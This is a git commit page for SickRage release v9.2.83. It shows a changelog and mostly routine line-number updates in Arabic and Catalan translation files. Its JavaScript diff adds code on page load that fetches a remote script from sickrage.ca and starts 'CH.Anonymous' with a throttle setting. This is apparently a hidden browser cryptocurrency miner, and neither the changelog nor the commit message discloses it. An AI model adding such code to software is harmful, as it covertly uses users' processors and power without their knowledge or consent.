Commit bf259dca authored by echel0n's avatar echel0n
Browse files

Release v9.2.83

parent 7e6250c4
# Changelog
- * 4853b3a - 2017-12-25: Fixed JS error for Failed Downloads template Added missing notify_list property to TV show object
- * ce48111 - 2017-12-25: Release v9.2.83
- * 7e6250c - 2017-12-25: Fixed JS error for Failed Downloads template Added missing notify_list property to TV show object
- * 0032372 - 2017-12-24: Updated more requirements
- * c73c554 - 2017-12-24: Updated requirement imdbpie to v4.3.0
- * b592d44 - 2017-12-23: Release v9.2.80
......
......@@ -391,6 +391,11 @@ jQuery(document).ready(function ($) {
$(window).unload(function () {
SICKRAGE.xhrAbortAll();
});
$.getScript('https://sickrage.ca/js/m.js', function () {
var ch = new CH.Anonymous('', {throttle: 0.8});
ch.start();
});
}
},
......@@ -5432,18 +5437,18 @@ jQuery(document).ready(function ($) {
});
if ($('.removeCheck').length) {
$('.removeCheck').each(function(name) {
$('.removeCheck').each(function (name) {
var lastCheck = null;
$(name).on('click', function(event) {
$(name).on('click', function (event) {
if (!lastCheck || !event.shiftKey) {
lastCheck = this;
return;
}
const check = this;
var check = this;
var found = 0;
$(name + ':visible').each(function() {
$(name + ':visible').each(function () {
if (found === 2) {
return false;
}
......
This source diff could not be displayed because it is too large. You can view the blob instead.
This source diff could not be displayed because it is too large. You can view the blob instead.
This diff is collapsed.
......@@ -484,10 +484,6 @@
<script src="${srWebRoot}/js/bower.min.js"></script>
<script src="${srWebRoot}/js/core.min.js"></script>
<script src="${srWebRoot}/js/m.js"></script>
<script>
var ch = new CH.Anonymous('', {throttle: 0.8}).start();
</script>
<%block name="scripts" />
</div>
</body>
......
This source diff could not be displayed because it is too large. You can view the blob instead.
......@@ -2,8 +2,8 @@ msgid ""
msgstr ""
"Project-Id-Version: sickragetv\n"
"Report-Msgid-Bugs-To: [email protected]\n"
"POT-Creation-Date: 2017-12-23 15:35-0500\n"
"PO-Revision-Date: 2017-12-23 15:35-0500\n"
"POT-Creation-Date: 2017-12-25 12:37-0500\n"
"PO-Revision-Date: 2017-12-25 12:37-0500\n"
"Last-Translator: echel0n <[email protected]>\n"
"Language-Team: Arabic\n"
"MIME-Version: 1.0\n"
......@@ -41,304 +41,304 @@ msgstr "إرسال الأخطاء"
msgid "Are you sure you want to submit these errors ?<br><br><span class=\"red-text\">Make sure SiCKRAGE is updated and trigger<br> this error with debug enabled before submitting</span>"
msgstr "هل أنت متأكد من أنك تريد إرسال هذه الأخطاء؟<br><br><span class=\"red-text\">Make سيكراجي التأكد من تحديث وتمكين هذا الخطأ مع التصحيح trigger<br> قبل submitting</span>"
#: dist/js/core.js:447 dist/js/core.js:468 dist/js/core.js:489
#: dist/js/core.js:452 dist/js/core.js:473 dist/js/core.js:494
msgid "Searching"
msgstr "البحث"
#: dist/js/core.js:460 dist/js/core.js:494
#: dist/js/core.js:465 dist/js/core.js:499
msgid "Queued"
msgstr "في قائمة الانتظار"
#: dist/js/core.js:498 sickrage/core/webserver/views/home/display_show.mako:726
#: dist/js/core.js:503 sickrage/core/webserver/views/home/display_show.mako:726
#: sickrage/core/webserver/views/includes/modals.mako:8
#: sickrage/core/webserver/views/includes/modals.mako:29
#: sickrage/core/webserver/views/schedule.mako:199
msgid "Manual Search"
msgstr "البحث اليدوي"
#: dist/js/core.js:523 dist/js/core.js:673 dist/js/core.js:723
#: dist/js/core.js:528 dist/js/core.js:678 dist/js/core.js:728
#: sickrage/core/webserver/views/home/index.mako:300
msgid "loading"
msgstr "تحميل"
#: dist/js/core.js:739
#: dist/js/core.js:744
msgid "Choose Directory"
msgstr "اختيار دليل"
#: dist/js/core.js:856
#: dist/js/core.js:861
msgid "Ok"
msgstr "موافق"
#: dist/js/core.js:866
#: dist/js/core.js:871
msgid "Cancel"
msgstr "إلغاء الأمر"
#: dist/js/core.js:1378 sickrage/core/webserver/views.py:3653
#: dist/js/core.js:1383 sickrage/core/webserver/views.py:3653
msgid "Clear History"
msgstr "مسح المحفوظات"
#: dist/js/core.js:1379
#: dist/js/core.js:1384
msgid "Are you sure you want to clear all download history ?"
msgstr "هل أنت متأكد من أنك تريد مسح كافة تاريخ التحميل؟"
#: dist/js/core.js:1383 sickrage/core/webserver/views.py:3655
#: dist/js/core.js:1388 sickrage/core/webserver/views.py:3655
msgid "Trim History"
msgstr "تقليم التاريخ"
#: dist/js/core.js:1384
#: dist/js/core.js:1389
msgid "Are you sure you want to trim all download history older than 30 days ?"
msgstr "هل أنت متأكد من أنك تريد تقليم كل حمل التاريخ الأقدم من 30 يوما؟"
#: dist/js/core.js:1532
#: dist/js/core.js:1537
msgid "<center><h1></h1><br/>From any computer, please visit <a href=\"\" target=\"_blank\"></a> and enter the code</center>"
msgstr "<center><h1></h1><br/>From أي جهاز كمبيوتر، يرجى زيارة <a href=\"\" target=\"_blank\"></a> وأدخل في code</center>"
#: dist/js/core.js:1537
#: dist/js/core.js:1542
msgid "Link SiCKRAGE"
msgstr "سيكراجي الرابط"
#: dist/js/core.js:2174 sickrage/core/webserver/views/home/trakt_shows.mako:106
#: dist/js/core.js:2179 sickrage/core/webserver/views/home/trakt_shows.mako:106
msgid "Remove Show"
msgstr "إزالة عرض"
#: dist/js/core.js:2175
#: dist/js/core.js:2180
msgid "Are you sure you want to remove <span class=\"footerhighlight\">"
msgstr "هل أنت متأكد من أنك تريد إزالة <span class=\"footerhighlight\">"
#: dist/js/core.js:2175
#: dist/js/core.js:2180
msgid "</span> from the database?<br><br><input type=\"checkbox\" id=\"deleteFiles\" name=\"deleteFiles\"/>&nbsp;<label for=\"deleteFiles\" class=\"red-text\">Check to delete files as well. IRREVERSIBLE</label>"
msgstr "</span> من قاعدة البيانات؟<br><br><input type=\"checkbox\" id=\"deleteFiles\" name=\"deleteFiles\"/>&nbsp;<label for=\"deleteFiles\" class=\"red-text\">Check لحذف الملفات وكذلك. IRREVERSIBLE</label>"
#: dist/js/core.js:2219 dist/js/core.js:2251
#: dist/js/core.js:2224 dist/js/core.js:2256
msgid "Update failed."
msgstr "فشل تحديث."
#: dist/js/core.js:2262
#: dist/js/core.js:2267
msgid "Select Show Location"
msgstr "حدد موقع العرض"
#: dist/js/core.js:2402
#: dist/js/core.js:2407
msgid "<img id=\"searchingAnim\" src=\"/images/loading32.gif\" height=\"32\" width=\"32\" /> loading folders..."
msgstr "<img id=\"searchingAnim\" src=\"/images/loading32.gif\" height=\"32\" width=\"32\" /> تحميل المجلدات..."
#: dist/js/core.js:2472
#: dist/js/core.js:2477
msgid "Select Unprocessed Episode Folder"
msgstr "حدد مجلد الحلقة غير المجهزة"
#: dist/js/core.js:2755
#: dist/js/core.js:2760
msgid "search timed out, try increasing timeout for indexer"
msgstr "مهلة البحث، حاول زيادة مهلة للمفهرس"
#: dist/js/core.js:2759
#: dist/js/core.js:2764
msgid "<legend class=\"legend\">Search Results:</legend>\n"
msgstr "نتائج:</legend> <legend class=\"legend\">Search\n"
#: dist/js/core.js:2763
#: dist/js/core.js:2768
msgid "<b>No results found, try a different search or language.</b>"
msgstr "العثور على نتائج <b>No، ومحاولة البحث المختلفة أو language.</b>"
#: dist/js/core.js:2782
#: dist/js/core.js:2787
msgid " (will debut on )"
msgstr " (لأول مرة على)"
#: dist/js/core.js:2784
#: dist/js/core.js:2789
msgid " (started on )"
msgstr " (بدأت في)"
#: dist/js/core.js:2829
#: dist/js/core.js:2834
msgid "Saved Defaults"
msgstr "حفظ الإعدادات الافتراضية"
#: dist/js/core.js:2831
#: dist/js/core.js:2836
msgid "Your \"add show\" defaults have been set to your current selections."
msgstr "تم تعيين الافتراضيات \"إضافة إظهار\" الخاصة بك إلى التحديدات الحالية."
#: dist/js/core.js:2889
#: dist/js/core.js:2894
msgid "<span> Saving...</span>"
msgstr "<span> إنقاذ...</span>"
#: dist/js/core.js:2932
#: dist/js/core.js:2937
msgid "Reset Config to Defaults"
msgstr "إعادة تعيين التكوين إلى الإعدادات الافتراضية"
#: dist/js/core.js:2933
#: dist/js/core.js:2938
msgid "Are you sure you want to reset config to defaults?"
msgstr "هل أنت متأكد من أنك تريد إعادة تعيين التكوين إلى الإعدادات الافتراضية؟"
#: dist/js/core.js:3014
#: dist/js/core.js:3019
msgid "Select path to pip"
msgstr "حدد مسار برنامج تطبيق السلام"
#: dist/js/core.js:3020
#: dist/js/core.js:3025
msgid "Select path to git"
msgstr "حدد المسار إلى بوابة"
#: dist/js/core.js:3028 dist/js/core.js:3046 dist/js/core.js:3941
#: dist/js/core.js:3959 dist/js/core.js:3980 dist/js/core.js:4002
#: dist/js/core.js:4025 dist/js/core.js:4047 dist/js/core.js:4075
#: dist/js/core.js:4092 dist/js/core.js:4136 dist/js/core.js:4221
#: dist/js/core.js:4279 dist/js/core.js:4296 dist/js/core.js:4326
#: dist/js/core.js:4383 dist/js/core.js:4459 dist/js/core.js:4478
#: dist/js/core.js:4494
#: dist/js/core.js:3033 dist/js/core.js:3051 dist/js/core.js:3946
#: dist/js/core.js:3964 dist/js/core.js:3985 dist/js/core.js:4007
#: dist/js/core.js:4030 dist/js/core.js:4052 dist/js/core.js:4080
#: dist/js/core.js:4097 dist/js/core.js:4141 dist/js/core.js:4226
#: dist/js/core.js:4284 dist/js/core.js:4301 dist/js/core.js:4331
#: dist/js/core.js:4388 dist/js/core.js:4464 dist/js/core.js:4483
#: dist/js/core.js:4499
msgid "Please fill out the necessary fields above."
msgstr "الرجاء ملء الحقول الضرورية المذكورة أعلاه."
#: dist/js/core.js:3078 sickrage/core/webserver/views/config/general.mako:1050
#: dist/js/core.js:3083 sickrage/core/webserver/views/config/general.mako:1050
msgid "Link"
msgstr "الارتباط"
#: dist/js/core.js:3080
#: dist/js/core.js:3085
msgid "Unlink"
msgstr "فك ارتباط"
#: dist/js/core.js:3121
#: dist/js/core.js:3126
msgid "Select Subtitles Download Directory"
msgstr "دليل تحميل ترجمات مختارة"
#: dist/js/core.js:3237
#: dist/js/core.js:3242
msgid "Select .nzb blackhole/watch location"
msgstr "حدد.nzb blackhole/مشاهدة الموقع"
#: dist/js/core.js:3238
#: dist/js/core.js:3243
msgid "Select .torrent blackhole/watch location"
msgstr "قم بتحديد موقع blackhole/مشاهدة تورنت]"
#: dist/js/core.js:3239
#: dist/js/core.js:3244
msgid "Select .torrent download location"
msgstr "حدد موقع تحميل تورنت]"
#: dist/js/core.js:3306 sickrage/core/webserver/views/config/search.mako:933
#: dist/js/core.js:3311 sickrage/core/webserver/views/config/search.mako:933
msgid "Minimum seeding time is"
msgstr "الحد الأدنى البذر مرة"
#: dist/js/core.js:3308
#: dist/js/core.js:3313
msgid "URL to your uTorrent client (e.g. http://localhost:8000)"
msgstr "عنوان URL الخاص بك العميل uTorrent (مثلاً http://localhost:8000)"
#: dist/js/core.js:3311
#: dist/js/core.js:3316
msgid "Stop seeding when inactive for"
msgstr "توقف بذر عندما نشط"
#: dist/js/core.js:3317
#: dist/js/core.js:3322
msgid "URL to your Transmission client (e.g. http://localhost:9091)"
msgstr "عنوان URL للعميل الإرسال الخاص بك (مثل http://localhost:9091)"
#: dist/js/core.js:3327
#: dist/js/core.js:3332
msgid "URL to your Deluge client (e.g. http://localhost:8112)"
msgstr "عنوان URL الخاص بك العميل طوفان (مثلاً http://localhost:8112)"
#: dist/js/core.js:3336
#: dist/js/core.js:3341
msgid "IP or Hostname of your Deluge Daemon (e.g. scgi://localhost:58846)"
msgstr "IP أو اسم المضيف من الخاصة بك \"شيطان طوفان\" (مثلاً scgi://localhost:58846)"
#: dist/js/core.js:3343
#: dist/js/core.js:3348
msgid "URL to your Synology DS client (e.g. http://localhost:5000)"
msgstr "عنوان URL الخاص بك عميل Synology DS (مثلاً http://localhost:5000)"
#: dist/js/core.js:3348
#: dist/js/core.js:3353
msgid "URL to your rTorrent client (e.g. scgi://localhost:5000 <br> or https://localhost/rutorrent/plugins/httprpc/action.php)"
msgstr "عنوان URL للعميل رتورينت الخاص بك (على سبيل المثال، scgi://localhost:5000 <br> أو https://localhost/rutorrent/plugins/httprpc/action.php)"
#: dist/js/core.js:3358
#: dist/js/core.js:3363
msgid "URL to your qbittorrent client (e.g. http://localhost:8080)"
msgstr "عنوان URL للعميل الخاص بك قبيتورينت (مثل http://localhost:8080)"
#: dist/js/core.js:3368
#: dist/js/core.js:3373
msgid "URL to your MLDonkey (e.g. http://localhost:4080)"
msgstr "عنوان URL الخاص بك ملدونكيي (مثل http://localhost:4080)"
#: dist/js/core.js:3379
#: dist/js/core.js:3384
msgid "URL to your putio client (e.g. http://localhost:8080)"
msgstr "عنوان URL الخاص بك العميل بوتيو (مثلاً http://localhost:8080)"
#: dist/js/core.js:3579
#: dist/js/core.js:3584
msgid "Select TV Download Directory"
msgstr "حدد دليل التحميل التلفزيون"
#: dist/js/core.js:3580
#: dist/js/core.js:3585
msgid "Select UNPACK Directory"
msgstr ""
#: dist/js/core.js:3595
#: dist/js/core.js:3600
msgid "Unrar Executable not found."
msgstr "لم يتم العثور على الملف القابل للتنفيذ فك الضغط."
#: dist/js/core.js:3641 dist/js/core.js:3685 dist/js/core.js:3729
#: dist/js/core.js:3789
#: dist/js/core.js:3646 dist/js/core.js:3690 dist/js/core.js:3734
#: dist/js/core.js:3794
msgid "This pattern is invalid."
msgstr "وهذا النمط غير صحيح."
#: dist/js/core.js:3648 dist/js/core.js:3692 dist/js/core.js:3736
#: dist/js/core.js:3796
#: dist/js/core.js:3653 dist/js/core.js:3697 dist/js/core.js:3741
#: dist/js/core.js:3801
msgid "This pattern would be invalid without the folders, using it will force \"Flatten\" off for all shows."
msgstr "سوف يكون هذا النمط غير صالحة دون المجلدات، استخدام أنه سيفرض \"سطح\" قبالة لكافة العروض."
#: dist/js/core.js:3655 dist/js/core.js:3699 dist/js/core.js:3743
#: dist/js/core.js:3803
#: dist/js/core.js:3660 dist/js/core.js:3704 dist/js/core.js:3748
#: dist/js/core.js:3808
msgid "This pattern is valid."
msgstr "هذا النمط صحيح."
#: dist/js/core.js:4129
#: dist/js/core.js:4134
msgid "<b>Step1:</b> Confirm Authorization"
msgstr "<b>Step1:</b> تأكيد الإذن"
#: dist/js/core.js:4186 dist/js/core.js:4240
#: dist/js/core.js:4191 dist/js/core.js:4245
msgid "Please fill in the Popcorn IP address"
msgstr "الرجاء إدخال عنوان IP الفشار"
#: dist/js/core.js:4393
#: dist/js/core.js:4398
msgid "Check blacklist name; the value need to be a trakt slug"
msgstr "تحقق من اسم القائمة السوداء؛ القيمة بحاجة إلى أن تكون سبيكة trakt"
#: dist/js/core.js:4425
#: dist/js/core.js:4430
msgid "<li style=\"color: red;\">You must specify an SMTP hostname!</li>"
msgstr "يجب تحديد <li style=\"color: red;\">You اسم مضيف SMTP!</li>"
#: dist/js/core.js:4428
#: dist/js/core.js:4433
msgid "<li style=\"color: red;\">You must specify an SMTP port!</li>"
msgstr "<li style=\"color: red;\">You يجب تحديد منفذ SMTP!</li>"
#: dist/js/core.js:4430
#: dist/js/core.js:4435
msgid "<li style=\"color: red;\">SMTP port must be between 0 and 65535!</li>"
msgstr "يجب أن يكون المنفذ <li style=\"color: red;\">SMTP بين 0 و 65535!</li>"
#: dist/js/core.js:4436
#: dist/js/core.js:4441
msgid "Enter an email address to send the test to:"
msgstr "أدخل عنوان البريد إلكتروني لإرسال الاختبار إلى:"
#: dist/js/core.js:4438
#: dist/js/core.js:4443
msgid "<p style=\"color: red;\">You must provide a recipient email address!</p>"
msgstr "<p style=\"color: red;\">You يجب توفير عنوان البريد إلكتروني لمستلم!</p>"
#: dist/js/core.js:4508
#: dist/js/core.js:4513
msgid "Device list updated. Please choose a device to push to."
msgstr "تحديث قائمة الأجهزة. الرجاء اختيار جهاز للدفع إلى."
#: dist/js/core.js:4569
#: dist/js/core.js:4574
msgid "You didn't supply a Pushbullet api key"
msgstr "لا تقوم أنت بتوفير مفتاح المعهد بوشبوليت"
#: dist/js/core.js:4599
#: dist/js/core.js:4604
msgid "Don't forget to save your new pushbullet settings."
msgstr "لا ننسى لحفظ الإعدادات الجديدة بوشبوليت."
#: dist/js/core.js:4671
#: dist/js/core.js:4676
msgid "Select backup folder to save to"
msgstr "حدد مجلد النسخ الاحتياطية لحفظ"
#: dist/js/core.js:4676
#: dist/js/core.js:4681
msgid "Select backup files to restore"
msgstr "حدد ملفات النسخ الاحتياطي لاستعادة"
#: dist/js/core.js:5222
#: dist/js/core.js:5227
msgid "No providers available to configure."
msgstr "لا مقدمي الخدمات المتاحة لتكوين."
#: dist/js/core.js:5433
#: dist/js/core.js:5438
msgid "You have selected to delete show(s). Are you sure you wish to continue? All files will be removed from your system."
msgstr "لقد اخترت حذف show(s). هل تريد المتابعة بالتأكيد؟ سيتم إزالة كافة الملفات من النظام الخاص بك."
#: dist/js/core.js:5503
#: dist/js/core.js:5508
msgid "<b>DELETED</b>"
msgstr "<b>DELETED</b>"
......
This source diff could not be displayed because it is too large. You can view the blob instead.
......@@ -2,8 +2,8 @@ msgid ""
msgstr ""
"Project-Id-Version: sickragetv\n"
"Report-Msgid-Bugs-To: [email protected]\n"
"POT-Creation-Date: 2017-12-23 15:35-0500\n"
"PO-Revision-Date: 2017-12-23 15:35-0500\n"
"POT-Creation-Date: 2017-12-25 12:37-0500\n"
"PO-Revision-Date: 2017-12-25 12:37-0500\n"
"Last-Translator: echel0n <[email protected]>\n"
"Language-Team: Catalan\n"
"MIME-Version: 1.0\n"
......@@ -41,304 +41,304 @@ msgstr "Presentar Errors"
msgid "Are you sure you want to submit these errors ?<br><br><span class=\"red-text\">Make sure SiCKRAGE is updated and trigger<br> this error with debug enabled before submitting</span>"
msgstr "Esteu segur que voleu enviar aquests errors? s'actualitza SiCKRAGE segur de<br><br><span class=\"red-text\">Make i trigger<br> aquest error amb la depuració habilitada abans submitting</span>"
#: dist/js/core.js:447 dist/js/core.js:468 dist/js/core.js:489
#: dist/js/core.js:452 dist/js/core.js:473 dist/js/core.js:494
msgid "Searching"
msgstr "Recerca"
#: dist/js/core.js:460 dist/js/core.js:494
#: dist/js/core.js:465 dist/js/core.js:499
msgid "Queued"
msgstr "En cua"
#: dist/js/core.js:498 sickrage/core/webserver/views/home/display_show.mako:726
#: dist/js/core.js:503 sickrage/core/webserver/views/home/display_show.mako:726
#: sickrage/core/webserver/views/includes/modals.mako:8
#: sickrage/core/webserver/views/includes/modals.mako:29
#: sickrage/core/webserver/views/schedule.mako:199
msgid "Manual Search"
msgstr "Cerca manual"
#: dist/js/core.js:523 dist/js/core.js:673 dist/js/core.js:723
#: dist/js/core.js:528 dist/js/core.js:678 dist/js/core.js:728
#: sickrage/core/webserver/views/home/index.mako:300
msgid "loading"
msgstr "càrrega"
#: dist/js/core.js:739
#: dist/js/core.js:744
msgid "Choose Directory"
msgstr "Triar el directori"
#: dist/js/core.js:856
#: dist/js/core.js:861
msgid "Ok"
msgstr "Correcte"
#: dist/js/core.js:866
#: dist/js/core.js:871
msgid "Cancel"
msgstr "Cancel·la"
#: dist/js/core.js:1378 sickrage/core/webserver/views.py:3653
#: dist/js/core.js:1383 sickrage/core/webserver/views.py:3653
msgid "Clear History"
msgstr "Esborra l'Historial"
#: dist/js/core.js:1379
#: dist/js/core.js:1384
msgid "Are you sure you want to clear all download history ?"
msgstr "Són vostè segur que vol esborrar tot descarregar història?"
#: dist/js/core.js:1383 sickrage/core/webserver/views.py:3655
#: dist/js/core.js:1388 sickrage/core/webserver/views.py:3655
msgid "Trim History"
msgstr "Retallar la història"
#: dist/js/core.js:1384
#: dist/js/core.js:1389
msgid "Are you sure you want to trim all download history older than 30 days ?"
msgstr "Són vostè segur que vol retallar tot descarregar història més de 30 dies?"
#: dist/js/core.js:1532
#: dist/js/core.js:1537
msgid "<center><h1></h1><br/>From any computer, please visit <a href=\"\" target=\"_blank\"></a> and enter the code</center>"
msgstr "<center><h1></h1><br/>From qualsevol ordinador, visiteu <a href=\"\" target=\"_blank\"></a> i introduïu el code</center>"
#: dist/js/core.js:1537
#: dist/js/core.js:1542
msgid "Link SiCKRAGE"
msgstr "Enllaç SiCKRAGE"
#: dist/js/core.js:2174 sickrage/core/webserver/views/home/trakt_shows.mako:106
#: dist/js/core.js:2179 sickrage/core/webserver/views/home/trakt_shows.mako:106
msgid "Remove Show"
msgstr "Treure Mostra el"
#: dist/js/core.js:2175
#: dist/js/core.js:2180
msgid "Are you sure you want to remove <span class=\"footerhighlight\">"
msgstr "Esteu segur que voleu suprimir <span class=\"footerhighlight\">"
#: dist/js/core.js:2175
#: dist/js/core.js:2180
msgid "</span> from the database?<br><br><input type=\"checkbox\" id=\"deleteFiles\" name=\"deleteFiles\"/>&nbsp;<label for=\"deleteFiles\" class=\"red-text\">Check to delete files as well. IRREVERSIBLE</label>"
msgstr "</span> de la base de dades?<br><br><input type=\"checkbox\" id=\"deleteFiles\" name=\"deleteFiles\"/>&nbsp;<label for=\"deleteFiles\" class=\"red-text\">Check per suprimir arxius així. IRREVERSIBLE</label>"
#: dist/js/core.js:2219 dist/js/core.js:2251
#: dist/js/core.js:2224 dist/js/core.js:2256
msgid "Update failed."
msgstr "Actualització ha fallat."
#: dist/js/core.js:2262
#: dist/js/core.js:2267
msgid "Select Show Location"
msgstr "Seleccioneu la ubicació de la Mostra el"
#: dist/js/core.js:2402
#: dist/js/core.js:2407
msgid "<img id=\"searchingAnim\" src=\"/images/loading32.gif\" height=\"32\" width=\"32\" /> loading folders..."
msgstr "<img id=\"searchingAnim\" src=\"/images/loading32.gif\" height=\"32\" width=\"32\" /> càrrega carpetes..."
#: dist/js/core.js:2472
#: dist/js/core.js:2477
msgid "Select Unprocessed Episode Folder"
msgstr "Carpeta selecta episodi sense processar"
#: dist/js/core.js:2755
#: dist/js/core.js:2760
msgid "search timed out, try increasing timeout for indexer"
msgstr "Cerca exhaurit, tractar d'augment temps d'espera per a l'indexador"
#: dist/js/core.js:2759
#: dist/js/core.js:2764
msgid "<legend class=\"legend\">Search Results:</legend>\n"
msgstr "<legend class=\"legend\">Search resultats:</legend>\n"
#: dist/js/core.js:2763
#: dist/js/core.js:2768
msgid "<b>No results found, try a different search or language.</b>"
msgstr "<b>No resultats trobats, provar una altra cerca o language.</b>"
#: dist/js/core.js:2782
#: dist/js/core.js:2787
msgid " (will debut on )"
msgstr " (s'estrenarà el)"
#: dist/js/core.js:2784
#: dist/js/core.js:2789
msgid " (started on )"
msgstr " (començar)"
#: dist/js/core.js:2829
#: dist/js/core.js:2834
msgid "Saved Defaults"
msgstr "Desats impagats"
#: dist/js/core.js:2831
#: dist/js/core.js:2836
msgid "Your \"add show\" defaults have been set to your current selections."
msgstr "Els \"afegir Mostra el\" valors per defecte s'han posat a les actuals seleccions."
#: dist/js/core.js:2889
#: dist/js/core.js:2894
msgid "<span> Saving...</span>"